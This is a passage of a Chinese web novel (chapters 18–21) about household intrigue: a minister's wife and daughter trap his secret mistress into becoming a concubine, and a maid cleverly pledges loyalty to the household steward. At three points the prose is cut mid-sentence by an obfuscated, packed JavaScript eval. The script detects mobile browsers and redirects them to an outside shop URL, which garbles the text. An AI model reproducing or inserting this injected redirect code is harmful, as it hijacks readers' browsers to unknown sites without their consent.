宋白棠心中一惊，面上却是不显。只是笑笑，心里却开始发虚。 难不成秦佩竟已经将他们之间的事情与秦夫人说过了？可她明明说过不想回秦家，怎么还是说过了？ 秦明月离座，朝李氏施了一礼，便朝着宋白棠这边来，笑意盈盈地拉过她的手。 “宋姨娘，我父亲在家中提过好些回你了。一直不得见面，心里唏嘘不已。今日父亲休沐，又找人算过了日子，便想着今日恭恭敬敬迎你入门。” 算日子？假话，唬她承认的话罢了。 李氏又道：“莫非你并非宋氏？”她有些苦恼，“若你并非宋氏，我便叫人去报官去了，这白香居是我家私宅，未经准许住了人，我便是要查验清楚的。” 如今骑虎难下，宋白棠只是扯了扯嘴角。见着秦明月脸色不假，她便凝出泪花来。 “你……你们是秦郎的妻女？” 18. 圈套 秦明月闻言，竟是惊得双手捂住嘴唇，像是不经意间甩下了宋白棠的手。 “父亲没同你说过他已有妻女？” 宋白棠浑身一软，竟是往边上一倒。不偏不倚倒在椅子的扶手上，泪水也止不住往下砸。真是一副梨花带雨模样，惹人怜惜。 手上的扇子是再也拿不住，径直摔在地上。 “秦郎他……他……” 秦明月有些无措，见了李氏眼神便咂了咂舌回了座儿，手上拿出条手绢，有一搭没一搭地绕着。 李氏轻叹一声：“作孽啊……” “即使如此，你也算是老爷身边的人，养在外边总是不成样子的。一来委屈了你，二来对老爷仕途不好，难免惹出闲话。” 宋白棠连忙拭了拭泪水，道：“不委屈的，妾不委屈。” “你是个没争的心思的，”李氏看向她，眼里似乎带着怜惜，“这京中偏僻地方的私宅，哪里比得过正经尚书府里的富贵？若是老爷肯早日接你归家，也……” 李氏眼底划过不忍，“也不会叫你平白无故遭了这么多罪。” 遭罪？ 山中无老虎，猴子称大王。 无正头娘子在，她宋白棠在这白香居里就是大王，谁人敢不听她的？ 可她只是就那样看着李氏，捂着胸口什么也不说，欲说还休，未语泪先流，看着是确实遭了罪的模样。 秦明月哎呀一声，招了招手，便见她身后跟着的翠云上前去，手里同样是捧着一个大些的匣子。 翠云打开，赫然是一件礼衣。 青绿襦裙，上边绣着鸳鸯戏水图。她伸手摸了摸，那布料光亮细腻，手感丰厚。一摸上去，好像就要化成水从她手底下滑走了。 她还没摸够，只见那小丫鬟将匣子重重一盒。 “女儿心疼姨娘在外受苦，便寻了京城里最好的绣娘，绣了好几个月才绣好呢。” 当然是假话。 不过也废了她们些功夫，打听了京郊路上有位被配去冥婚的可怜姑娘，找了些关系救下了她，便得了这样一件华贵的礼衣。 看着是准备了许久。 难为她被一顶轿子抬出去才知道是被配了冥婚，逃也逃不掉。 秦明月那时候听见这些，是又哭又笑，“怎会要了人家的礼衣？不成体统。” 原来那年秦府从庄子里边报信回来的覃姑姑带着家丁庄户忙着往回赶，路上听了这件事，又听见那姑娘凄苦的哭声响起，一时心头不忍，便出手帮那个姑娘逃了。 那个姑娘感激覃姑姑，却没什么值钱的，竟是当场将头上的金银首饰全取下，又脱了身上的嫁衣，怕被发现。 覃姑姑让那庄户把她带回去了，什么都没收。 只是不想那庄户家觉得那嫁衣贵重，料子极好，便一直留着。 昨夜传了话，宵禁之前便送到了。 宋白棠眼看这礼衣不假，心中便迅速思索，想罢只能是秦佩那人提前同她们说了，瞒着她准备着。 她心眼多，方才出了内院，便支着较机灵些的听松去打探消息，这么久都没回来，想来是去打听秦家到底是不是在准备迎她入门了。 覃姑姑道：“娘子啊，您福气真好。别家纳妾迎新，全是一顶轿子从侧门抬入了便是了。我家老爷看中您，竟叫我们夫人亲自来接您，还备下了轿子礼衣，此等殊荣，除了娘子还有谁有啊？” 宋白棠扯了扯嘴角露出一个笑，将手匿在袖子之下，白嫩的手上青筋凸起。 这算什么殊荣？ 妾室入门只能从侧门入，连正门都走不了，不光不彩，有的甚至连礼衣都没有，草草的就抬进去了。 可再熬上一熬，岂知她能不能做正室？ 李氏抬了抬眼皮，终是宣告似的看向她：“既然如此，那就请宋姨娘前去换了衣裳便是了吧。” 宋白棠狠狠掐了自己一下，努力让自己笑得真切些：“姐姐……可是，可是妾身边有位婢女，平日里都是她伺候着妾梳妆打扮的。今晨妾叫她出门采买去了，还未曾回来，妾终身大事，还是想着能有她为妾打扮得端庄些……” 她起身，朝着李氏福了福身，泪眼汪汪望着她，一双眼如碧波荡漾。 “万望姐姐垂怜妾身。” 她一语道尽，却不重新落座，似乎李氏不同意，她便不坐了。 只是这奈何不了李氏。 她只是朝宋白棠温柔笑笑：“好妹妹，我身边这位覃姑姑，从前在宫里学过服侍贵人的手艺，梳洗打扮这些自不在话下。” 秦明月啊一声，咯咯娇笑起来：“姨娘竟在担心这些，我身边也有个丫鬟，梳的发髻尤为新颖奇特，定叫你喜欢满意，”她转身给了站的远远的折枝一眼，“折枝，快些到姨娘身边去伺候。” 折枝称是，低着头快步走至宋白棠身边。 宋白棠才注意到眼前的丫鬟，眼睛倒是生得好看，只是皮肤黝黑粗糙，让那双好看的眼睛埋没住了。 尤其她又爱垂下眸子，让人看不清她的眼神，显得平平无奇。 看着倒是老实，想来没什么心眼子。 她已打定主意。 既然李氏和秦明月都发了话，想来她是轻易不能推拒了去，若是真要打扮，她倒是可以找这个小丫鬟的麻烦。 “那……妾身便多谢了。” 走廊上，覃姑姑不动声色上前挤走寂月，服侍在宋白棠身边，瞧着十分衷心良善。 只是宋白棠被她激得浑身一颤，不敢再放纵着故意将身子压在寂月身上，又问：“姑姑，怎敢亲自叫您扶我？” 覃姑姑拍拍她的手示意稍安勿躁：“娘子莫怕，先那婢子瞧着年纪小，想是伺候不周到的。老奴瞧着她走路不怎么稳当，还是老奴亲自服侍才放得心。” “等娘子回了秦府，夫人定会给娘子多派遣些得力的人手，手脚麻利的，用着也舒心。” 宋白棠浅浅笑着，却不说话了。 到了内院屋中，折枝抱着匣子跟在后边，只见宋白棠站在拔步床前，任着覃姑姑为她宽衣。 她身量纤细，窈窕婀娜，是位不可多得的美人。 很快穿上了礼衣，她又无言坐在铜镜前，拦住覃姑姑为她篦发的手，道：“姑姑劳累辛苦了，妾听闻小姐身边的这位婢子手艺甚巧，不若让她来吧。” 屋内檀香袅袅，煨在香炉里升起一圈。 寂月站在一旁，只是拿了头油，默不作声。 覃姑姑微皱了眉头：“娘子岂是信不过老奴？” 宋白棠不愿意就这样得罪她，却又想着刁难折枝等听松回来，便温言道：“姑姑，听小姐说她梳的发髻最是独特……”她又险些要滴下泪珠来，“妾一生只有这一次，不想太过草率……” 另一边。 听松被守在院子外边的家丁抓住，被捆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533288|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着来了前厅，嘴上还被塞住了，说不出话来。 她见到前厅里端坐着的两人，是眼惊得如铜铃般大小。 “呜呜……呜呜！” 秦明月抬手让人去给她松了口。 她一张嘴便是哭天抢地般喊道：“夫人，小姐，这群刁奴，竟敢光天化日之下绑人，还请夫人小姐做主啊！” 李氏哦了一声，没说话，倒是身边的夏荷先开口：“听松，我记得你从前是夫人身边伺候过的吧，卖身契可在夫人手里，什么该说，什么不该说，你可知道？” 还欲诉苦的听松眼珠子骨碌一转，忙不迭磕头：“多谢两位主子提点，奴婢知道该怎么说了。” “宋娘子人在内院卧房中，奴婢立即去请她相见！” “且慢！”夏荷走至听松身侧，为她松了绑，“老爷今日迎宋姨娘回府，正在府中设宴等候，你可知道？” 听松眼睛闪过一抹惊诧，最后还是点了点头，站起身来向两位主子行了礼便拔腿走了。 宋白棠此时打开妆匣，拿出里边的一只镂金连排嵌珠发冠，在铜镜前比划了半晌，终于要交至折枝手中，忽的听到外边的惊呼。 “娘子……娘子！” 宋白棠重重将发冠放至桌上，连忙转过身瞧，看见听松被覃姑姑呵斥一顿。 “大呼小叫的，成何体统！” 听松气有些急，想来是跑着回来的。 覃姑姑打量着她：“你不是出门买菜去了吗？” 听松脸上滑过一道不自然，陪笑道：“是已去了，买了娘子最爱的鲈鱼……啊，覃姑姑，您怎到这里来了？也不提前知会一声？” 她倏地大惊失色，看向宋白棠有些慌乱。 宋白棠蹙了蹙眉，道：“老爷说今日接我进门，竟是连你们也瞒了么？” “竟是如此！奴婢今日出去买菜便听说尚书府要纳妾……”她泣泪涟涟走上前，一把握住宋白棠的手，似乎很是惊喜。 “奴婢原还以为是老爷是要迎新人入门，竟不知是娘子……” “娘子……你终于等到这天！” 宋白棠虽得到了答案，脸上却是青一阵白一阵的。 方才她明明在李氏面前装作不知秦佩有妻女，她只不过是个被骗的可怜人，谁知道听松这小妮子竟叫她当众被拆了台！ 左右是没对过串词，听松虽聪明，可有时候聪明过了头。 罢了。 宋白棠将发冠递至听松手里，“既你回来了，妾便不麻烦二位了，还望二位能在两位主子面前为我美言几句。” 覃姑姑笑：“应当的应当的，还请娘子快些，莫误了吉时。” 爆竹声炸开，响在耳侧。 宋白棠手里拿着扇子，一步一步往前走，却走得目不斜视。 院子外，围着一圈家丁护院，阵仗极其之大。 听松扶着她，只叫她当心，再当心。 等上了轿子，她便一把拿开扇子，透过帘子轻声唤着听松。 可无论怎样唤，听松都像是没听到一般。 宋白棠心里隐隐闪过不安，又移到一侧喊寂月。 寂月倒是应了她，这便说明声音并不弱。 宋白棠素来狐疑。 这莫非是个圈套？骗她出了院子里，随意找个地方打发了？或是送给哪个年老体迈的做妾？ 一旦出来，她便再也不能回去了。 19. 纳妾 街边锣鼓喧天，热闹不已。 前边宋白棠一人坐着台轿子，后边李氏秦明月母女同乘。 李氏靠在软枕上，眉目之间疲态尽显。 秦明月看见她眼底下的青乌之色，眼中带上了关切，“母亲，可是没休息好？先在这里靠上一靠，小憩一会也是好的。” 昨日查账才知道秦佩养了外室，今日便接了回家。设计这些，需要耗费的心思颇多。 她低声劝慰道：“母亲别忧心，左右她进了家门，揉圆搓扁还不是任我们拿捏，我们让她往东，她便不能往西。” 秦明月伸出手，细心地为她抚平眉间的焦躁，又为她按了按太阳穴，想让她少些忧虑。 李氏轻轻叹一口气：“若她是面团，到还能任人揉圆搓扁，可惜她非是面团。今日若非我威逼利诱，她如何愿意踏上那轿子。且等回了府里，怕是还有得一闹呢。” 带着这样多的家丁护院，是为威逼。给她备下见面礼，两人又特地穿得庄重，是为利诱。 而秋菊留在府中收拾办席，是为里应。她们在外威逼利诱将人送至秦府，是为外合。 “母亲不怕父亲知道发怒么？” “相鼠有皮，人而无仪。人而无仪，不死何为？”李氏细细摩挲着袖口的纹路，又道，“你父亲一生最好脸面，就算知道都是我做的，他也不会如何。我的脸面，代表了尚书府的脸面，也代表了他的脸面，让我难堪，他也必不会好受。” “月儿啊……”李氏呢喃，看向秦明月，有些愧疚，“从前母亲想着，你平日里最是淘气，或许定了亲，早日成家就能定下心来。可是，你父亲何等人物，竟也做出欺瞒发妻的行径。” 她朝秦明月慈爱一笑，握住她的手，“月儿，母亲上次同你说的那位冯学士，你若是不喜欢，那便退了亲去，你不想嫁，谁也奈何不了你。” 竟是如此？ 马车车帘飘荡，里边的只言片语从里边断断续续传出来。 因马车两边站着的都是心腹，故而可以放心说话，不怕隔墙有耳。 前边轿子走得慢，故而她们后边的马车也走得慢悠悠的。 折枝听到这话，竟是浑身一颤，被旁边的夏荷戳了戳才想起继续拔腿往前走。 马车两侧，一侧是折枝和夏荷，另一侧是覃姑姑和翠云。 翠云本就想在主子面前多出点脸，于是便跟在覃姑姑面前，阿谀奉承着。 夏荷本就有话想和折枝说，对这样安排倒也并无异议，她见折枝似乎在走神，便轻轻提了下她头上盘的两个发团。 “在想些什么？” 多年未曾被人这样提过，折枝愣了一愣，便答道：“一些琐事罢了。” 她在想，既然前些日子秦明月和林觉的事情闹得满城皆知，为何冯铭硬是拖到了很久之后才来退婚。 原来，是李氏这边先松了口么？ 夏荷浅浅一笑，拍了拍她的脑袋，“折枝啊，你还真是人小鬼大。姐姐像你这个年纪的时候，日日想着怎么偷懒去玩泥巴呢。却不知道你天天是在想些什么，看着老实，心里却是最有主意。” “说来，我倒还要感激你主意多，为夫人早些找到了这个祸患，也让夫人也高看了我几分。” 她压低声音道：“日后你若遇到什么事，只管找我，能帮上的，我绝不会坐视不理。” 折枝低头道谢。 秋菊和夏荷两位虽都良善，可都是夫人身边的贴身婢女，自然就免不了明争暗斗。再有覃姑姑在身侧，她们面上虽和，心里却都有各自的盘算。 马车上。 秦明月听见李氏如是说，心里荡起一阵又一阵涟漪。 一边想到父母之命，媒妁之言。 一边想到她甚至连冯铭的面都没见到过，甚至不知道他长得如何，人品如何，就这样匆匆和人定下了终生，是否不妥？ 她想到折枝那日为她算命，算出冯铭是她的正缘。可是又想到父母如此情形，本是举案齐眉相敬如宾的一对伉俪，如今却互相猜疑算计，两看生厌。 她沉默了许久，撩开帘子看着窗外。 热闹的街道上人来人往，叫卖声不绝于耳。有女子牵着孩儿买糖人，也有男子抱着孩子看打火花。 火花溅得很高，脱离铁匠的手，在空中自由翱翔。 “母亲，女儿想自己决定。” * 秦家阵仗极大，一路上行人都注意避让着，唯恐得罪贵人。 丰乐楼上，一群锦衣少年正喝着酒吃着菜，听见外边热闹得很，便到了栏杆处探出头来往下望。 “嚯，这阵仗，莫是迎亲？” 旁边的少年拍了拍方才说话那少年的肩膀，摇头道：“倒也不是迎亲，据说是尚书府的纳妾。” 华服少年之间，有位身着月白色素面葛布直缀的青年，五官端正，气度不凡，正是宋何。 他看得有些怔忡，失神问那穿着华服的少年曾钧：“哪家尚书府？” 曾钧淡淡扫他一眼，他向来对这个极力想要融入他们这群贵公子之间的平民子弟不大热情，便冷冷答道：“还有哪家？同我们在一个坊中住着的，只有那工部尚书家了。要我说，秦尚书本就娶妻娶得晚些，他家小娘子也大了，怎么这个时候反倒来大张旗鼓地纳妾，实在是丢脸。” 曾钧旁边的少年则是笑得一脸晦涩。 “秦尚书新娶美娇娘，乃是一段，一树梨花压海棠的佳话啊！” 说话的是大理寺卿吕家的吕兆琅，是家中幼子，被娇惯着长大，向来口无遮拦。 宋何只是捏紧了拳头，朝着边上的人道了句：“靖远兄，某忽然想起家中有事，便不做相陪了。” 那人一身殷红色银丝暗纹团花杭绸袍子，长了双上翘的狐狸眼，一眨不眨地盯着宋何。 他打开手中的折扇，很快移开视线，又看向丰乐楼里边，有个独坐着的少年，同样是一身绫罗绸缎，只是不如他张扬。 “那你走吧。” 宋何并未随着他的视线看去，只是心事重重地下了楼，每走一步，心事便重上一分。 秦佩那老狐狸分明不想迎姐姐入门，那今日迎回的娇妾，究竟是何人物？ 出了丰乐楼，宋何便骑了匹快马，却不敢加鞭，一路直达保宁坊。 路过那缠着红绸的轿子，他无暇细看，更是一刻都不敢耽搁。 马蹄猎猎生风，掠起那软轿上的帘子。 宋白棠心里啐了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533289|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口，当街纵马，真是不要命了。 她此时心有些慌张，可听着人声鼎沸，便知道一路上是在最为繁华的朱雀大街。沿着朱雀大街一直往上，也却能到了尚书府。 这路边来来往往都是人，她浅将心放回了肚子中，听着外边人的恭维声，心里愈发飘飘然。 “这位娘子真是好福气，竟是尚书夫人亲自迎回的！” “秦夫人真是宅心仁厚！” 她想到方才在秦明月和李氏身上见到的珠宝首饰，绫罗绸缎，又开始想象日后到了秦家她该当如何。 表面上看着秦明月并没有传言那样跋扈，是个好相处的，李氏倒也和善。 到了尚书府，马车调转了方向，而轿子则停在一处较为小些的门前。 侧门前边站着笑吟吟的秋菊，看着像是等了许久。她前来扶着宋白棠进了门，引着她一步步往前厅走。 秦明月和李氏走的正门，现在早在前厅坐下。 李氏喊来覃姑姑，附在她耳旁轻道：“去叫老爷起身。” 青崖被支去了疏影阁，看见覃姑姑来时还分外惊讶，问：“姑姑，夫人可是派您来传话的？今晨扫洒一通，这院子已快要清扫干净了。” 覃姑姑笑着应好，接着立刻板下脸来。 “青崖，今日府中这样大的喜事，怎还不服侍老爷起身？” 青崖摸摸脑袋，跟着覃姑姑往回走，“姑姑不若告诉我发生了什么喜事？” “今早见老爷喝下醒酒汤，睡得安稳，想是宿醉，得睡至午时方能解醉，便不急着服侍。不是夫人派奴才来这边洒扫的吗？” 覃姑姑不语，只是让他跟着走。 青崖心思活跃起来，却仍旧想不明白。 到了蒹葭院院子里，覃姑姑才冷着脸回答他：“夫人何时派你去洒扫了？” “今日是老爷纳妾的好日子，早该起身！偏你喜欢躲懒去！” 纳妾？ 青崖往卧房看了看，顿时觉得不妙，几步进了屋连忙叫醒昏睡中的秦佩。 “老爷，老爷，时候不早了！” 秦佩竟是翻了个身，又预备继续睡去。 青崖附在秦佩耳边道：“老爷，您今日要纳妾！该起身了！” 秦佩闻言，竟是猛地一震，从那罗汉床上坐起身来，见到上青崖前来，不悦地皱了皱眉。 “今日不必上朝，你怎扰我安眠？” 青崖欲哭无泪：“方才……方才夫人身边的覃姑姑告诉奴才，说您今日要纳妾！” 秦佩觉得自己是被青崖戏耍，有些恼怒，“青崖，你跟在我身边多少年了？怎么还想着用这种方式哄着我起身？” 青崖暗自叫苦不迭，只是手脚麻利地为秦佩穿衣。 秦佩只是紧锁着眉，想到昨日李氏不知怎的想到要查账，不过被他们联合糊弄过去了，应该是没有发觉宋白棠的存在。 只是青崖不喜骗人，也不敢骗他，那纳妾之事又是何意？ 莫不是他昨夜喝醉，向李氏承诺了些什么？只是他确实喝得多了，只觉着头昏脑涨，什么都记不清了。 覃姑姑守在门外，见到秦佩穿戴齐整，便笑着迎他往前厅去。 “老爷，夫人有请。” 20. 落棠 如此一来，今早还没来得及吃早饭的两人，竟是先吃了李氏的一道下马威。 一边宋白棠见过李氏后便被秋菊又送入了疏影阁，端坐在罗汉床上。 没有红绸喜字，只是简单地换了床鸳鸯戏水的薄衾，被套是蜀锦的，十分绵软。 看着单薄，却十分暖和。 罗汉床前，摆着一张黄梨花木供桌，上边放着些蜜饯果子，核桃花生。 听松寂月秋菊都候在卧房外边，里边没人，她倒是没了拘束，索性就放下了团扇，走到供桌前边捻起块糕点先垫了垫肚子。 糕点是玫瑰八仙糕，入口即化，齿颊留香，芙蓉斋里买不上，正是她想念了许久的江州风味。 上回秦明月吃过国公府的糕点，念念不忘，便央着母亲也去请位江南的厨子。 前厅里李氏和秦明月正在笑着说话，不知说到什么，正面上带笑。 秦佩阔步至了厅中，环视一圈发现并无异常，一颗心便放在肚子中了。 他撩起袍子，便径直坐到了李氏身旁的位子上，未曾吃过饭，先拿起了颗葡萄，放进嘴里。 “夫人有何事？非要在这里说话？” 李氏脸上的笑意还未收去，摇着扇子的手顿住，放在嘴边，只拿那双眼睛瞧着秦佩，眼中戏谑意味颇多，“老爷，你这不是明知故问吗？” 秦佩心中咯噔一跳，便将头一转，看着一脸苦笑的青崖。 青崖附近秦佩耳边，“老爷，奴才不知啊。” 昨夜将秦佩扶进了卧房内，进去便是秋菊夏荷服侍着，等李氏来了，喝了醒酒汤便睡下了。 里边是有些说话声，可他回去了耳房睡个好觉，便什么也没听着。 “老爷昨夜同我说起前些年在外边养了个外室，一直未有接进门来，实乃委屈了她去。可怜她在外粗茶淡饭，竟是从未享过一日富贵日子。”李氏说着，又将手中扇子放在檀木矮桌上，从袖子中抽出一条帕子，轻轻拭泪，“我每每想起妹妹在外受苦，便心如刀绞。想着既然老爷已然发话，那便择日不如撞日，今晨便出门将妹妹迎回了府里，现下正安置在疏影阁，老爷可要先去见见？” * 秦佩走至去疏影阁的路上，脚步竟都已是虚浮的了。 不知怎的，看到妻女波澜不惊的眼神，心中倒是觉得歉疚。 以往空置的疏影阁，外边也挂上了灯笼。 他起身时时候已经不早，同李氏和秦明月吃了几口，便急匆匆往疏影阁走，已是快过了未时。 几个婢女守在外边，看见秦佩来，都是笑着跑开迎他进门。 罗汉床上红纱拂动，宋白棠身着青绿色的礼衣，脸上被团扇遮住，看不清神色。 秦佩走近去看她，却见她别开脸颊。 不知为何，他平日里最喜欢她这番小女儿脾性，今日再看，却觉得，索然无味，兴致缺缺。 只能想起他青年大婚时，李家小娘子那团扇下羞红了的脸颊，娇着声音唤他夫君。 秦佩不再看她，忽然觉得有些心累，便站起身来，“你今日也累了，不必拘礼，早些安置睡下罢。你既还怨着我，那我便不来了。等你什么时候消了气，再找人传唤我不迟。” 宋白棠以为秦佩还会同往日一样哄她许久，方才说的话只是诓骗着她早些消气罢了。 可等了很久，听不到身旁说话的声音，她一把拿开扇子，望见室内竟然无人。 她便再顾不得什么礼仪，起身去推开了门，只对上了寂月颇为茫然的眼睛。 “娘……姨娘，老爷说您也累了，便让您先歇下。奴婢听着里边静悄悄的，以为您已经睡下了，便没有打扰。听松想着您还没吃些东西，便吩咐后边的厨房先做着了……” 宋白棠没有听完，也没追出门，只是回了卧房，冷静得有些过头。 只见那蜜饯果子、核桃花生，伴着碎瓷溅了一地，打在墨色的地板上，无声无息。 寂月跪在地上哭喊：“姨娘……” 海棠花期终是过了，书房前的那树白海棠花已凋零惨败，散落一地，不得人多见便被洒扫的下人扫走了。 折枝低着脑袋往前走，忽然被人拍了拍肩膀。 眼前人并不陌生，是许久没有多说过话的柳红。 她自成了秦明月的贴身丫鬟之后，活计便没有从前那样重了。可柳红依旧早出晚归，早晨天不见亮便收拾妥当了，夜里也是累极倒头就睡。于是虽她和柳红虽同住在一间，却没时间说话。 她心里有千言万语想和柳红说，一直找不到合适的时机，也不知道怎么和她说起。 “怎么了？” “前边覃姑姑说是要找你，一直找不见人影，便拖看见你的人都知会一声。” 柳红笑笑，唇旁两侧有两个梨涡，甚是娇俏，不然也必不会当年被选中进了乐坊。 折枝点头，眼神却在柳红的脸上多停留了瞬。 柳红摸了摸脸，不甚自在，“怎么了？” 折枝笑道：“姐姐黑了不少，往日里黑灯瞎火的没曾发现，今儿个日头下才发觉。” 柳红轻啊了一声，却没有铜镜，只能殷切地望着折枝，心里已经信了。 “那该如何是好？” 折枝眨了眨眼睛，“我往日从我娘那儿听说了个养肤的法子……只需日日抹着灶里剩下的土灰，用来敷脸，过不了几个月，比神仙玉女粉还要好用些。” 柳红将信将疑，只是看着折枝走远了。 她日日也曾用灰粉敷面，不想太过出挑，又经常垂着眼睛，任谁也看不出日后的风华。 到了蒹葭院外边的路上，便看见覃姑姑正和另外的婢女说着什么。 “今日宋姨娘给夫人老爷敬茶，物件可曾准备妥当？” “已是妥当了。” “往后你就在疏影阁里边做活儿，可千万莫要真正忘记你的主子是谁。宋姨娘唤你做什么便做什么，未敢擅专，可知道了？” 那婢女点头称是。 人影隐没在枝丛里，折枝还没走近便看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533290|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那婢女转身走了，并未看见长什么样子。 覃姑姑见折枝来了，笑着招手唤她过来，却没说喊她过来干什么，只是领着折枝往假山那边走。 “夫人午膳想吃鲫鱼豆腐，得先去厨房，让人先备下了。” 折枝默默跟着她走，什么话也没说，只见她真的领着她来了厨房。 厨房里热气腾腾，厨子婆子丫鬟忙活得不亦乐乎，见到覃姑姑来，便都在围裙上擦了擦手殷勤问：“今日怎么是姑姑亲自来了？可是夫人有什么吩咐？” 覃姑姑笑着摇了摇头，只是慈眉善目道：“没有吩咐，只是我来看看你们干活可都细致，可偷懒了去？” 众人闻言，便更加卖力摘菜洗菜，烟火之气更盛。 覃姑姑又带着折枝出了厨房，仍旧是不说要她来干什么，直到到了假山后，人迹罕至之处才缓缓开口。 “你可知道我为何要带你去一去那厨房里？” 折枝摇头：“奴婢并不知道。” 覃姑姑也学着她摇了摇头，却伸出手，将挡在她额前的发给拢开了些，露出一双黝黑明亮的眼睛。 覃姑姑倒是惊讶了一番：“你这眼睛生得多好看，为何要遮住？” “眉目传情、达意，若是心中有想法，眼和眉是最能看出的。”折枝垂下长睫，“奴婢不想被人看出自己心中的想法，所以将它遮住了。” 覃姑姑掩住方才的惊艳之色，却是冷哼了一声：“虽不想被别人看出，可别把别人当做了傻子了。” “夫人小姐或许不知，可我是知道的。” 覃姑姑眼里闪过震慑之意，望着折枝眼里神色复杂。 “你怕是早就知道老爷在外边养了外室，故而一直引着我们往着那边想去罢。” 折枝不说是也不说不是，只是回答：“那日夜里偷听院子里的新姑爷和老爷说话，不甚听到了些言语。可是奴婢人微言轻，不敢捕风捉影。” 覃姑姑替她说：“那日我听秋菊说起，你是个傻的。被翠云那小丫头摆了一道，却不敢不应，大着胆子前来找夫人决断。她们说个乐事，我却听在了心里。我又听说那日你被秋菊诓走了，去了厨房，却是直直望着什么都没说。我便觉得你有趣。” “后来夫人无暇管教小姐，又纵着小姐玩乐，是你故意来我身边，特地令我想到管家查账一事，借此牵扯出来这外室。当真是好一出围魏救赵啊。” 覃姑姑眼神闪烁，看着折枝不卑不亢地屈着身子，神色却没有动过。 她忽的又是一笑：“原来，我今日找上你，也在你意料当中吗？” 折枝点了点头，算是承认。 “哎……”覃姑姑叹了口气，拍了拍她让她不必拘着，“难得你小小年纪，竟有如此心机盘算。你究竟想做些什么呢？又为了什么呢？” 折枝行了一礼：“奴婢是秦家奴，自然是为秦家着想。若是让外室留在府外，必得闹得家宅不宁，小姐痛心，夫人疾首。奴婢的卖身契在夫人手中，只愿唯夫人马首是瞻。” 21. 投诚 覃姑姑听她这样一说，竟是豁然一笑，点了点头自顾自道：“好，好啊。你能有如此看法，日后便不担心你行差踏错了。有心机是好的，可莫用错了地方才是正道。” 假山后的矮松迎风，发出泠泠响声。 折枝伸出手，举于头顶，接着重重跪下，朝着覃姑姑重重行了叩首之礼。 覃姑姑亦是讶然，连忙拉起折枝，却发现如何都拉不动，只能看她叩完三个头，也未曾见她起身。 “奴婢此拜，既拜姑姑，又拜夫人。谅奴隐瞒，并非是将人当做傻子，而是借机投诚。” “奴婢人微言轻，贸然说道恐无人相信。耳听为虚，眼见为实。只有亲眼见到了，才知道话中究竟有几分是真，又有几分是假。” “即是投诚，只有这些可不够……”覃姑姑又抬手引她起身，只见折枝拍了拍身上的土，径直迎上她审视打量的目光，“你是小姐房里的丫鬟，可还有别的能为夫人分忧？” “宋姨娘方才回府，根基不稳，又是头一回成婚，不知规矩。可夫人却对宋氏知之甚少，应在宋姨娘回过神之前，将这些都打探清楚了。” 她话音未落，覃姑姑便已经轻轻颔首：“你的确想得周到，我正先你一步吩咐人去办的妥帖了，只是不知你究竟是何时想到的这些……想来，也是预料到了罢。” 覃姑姑眼里已带上了欣赏之色，又听见折枝说：“宋姨娘家中父母俱亡，只有一位幼弟，已经做了官。上回奴婢见到的那位便是宋姨娘的胞弟，与老爷私交甚密。” 覃姑姑闻言，又是不知道在想些什么，略微晃了晃脑袋，似乎正在思索，正预备拍拍折枝的肩膀喊她回去。 折枝却是又笑了，“夫人最近一直为小姐的婚事忧心，奴婢心里有一计策……” 她附在覃姑姑耳边，说着什么声音很小。 说罢便按着吩咐去了前厅观宋姨娘给李氏敬茶去了。 屏风后焚香阵阵，被风吹起，室内一片冷香。 秦佩坐在李氏身侧，闻着这香气，顿时觉得近日心中的烦闷已是减轻了不少。 “夫人，今日这香倒是奇特，可是何处寻来的千古名方？令人心旷神怡，实是不错。” 李氏莞尔一笑，朝着身边的夏荷点头致意，示意宋姨娘可进来行礼了。 “哪里来的名方，左右是月儿闲时玩闹配出来的罢了，里边掺和了甘松薄荷，最是清心提神。” 宋姨娘方才娉娉袅袅地来了，身边搀扶着的并非是昔日得她喜爱的听松，而是寂月。 她来了厅中，先是朝着秦佩、李氏一拜，接着才起了身，从候着的婢女手中拿过杯盏，倒了杯滚烫的茶水，先递了李氏。 李氏看她一眼，伸手接下了。 听见宋姨娘福了福身，柔声道：“请主母用茶。” 李氏点头，摆了摆手让她给秦佩倒茶。 茶汤已满，宋姨娘端至秦佩身前。 秦佩伸手去接，却发现那茶水甚是滚烫，根本不能触及。 他指尖只是一触，便立刻缩了回去，宋姨娘一时没有端稳，茶杯立刻砸在地上，碎成了渣。 宋姨娘脸色一白，蹲下身去捡碎瓷片，白皙的指尖很快便被瓷片刺破了，露出殷红的血。 “妾……妾身莽撞，竟是连此等琐事都做不好。” 秦佩只觉得方才被冷香熏淡的一团火气又重新聚拢在心头，可方才触过那烫极的茶，也是怜惜起来宋姨娘，一把握住她的手，放在手中吹了两下。 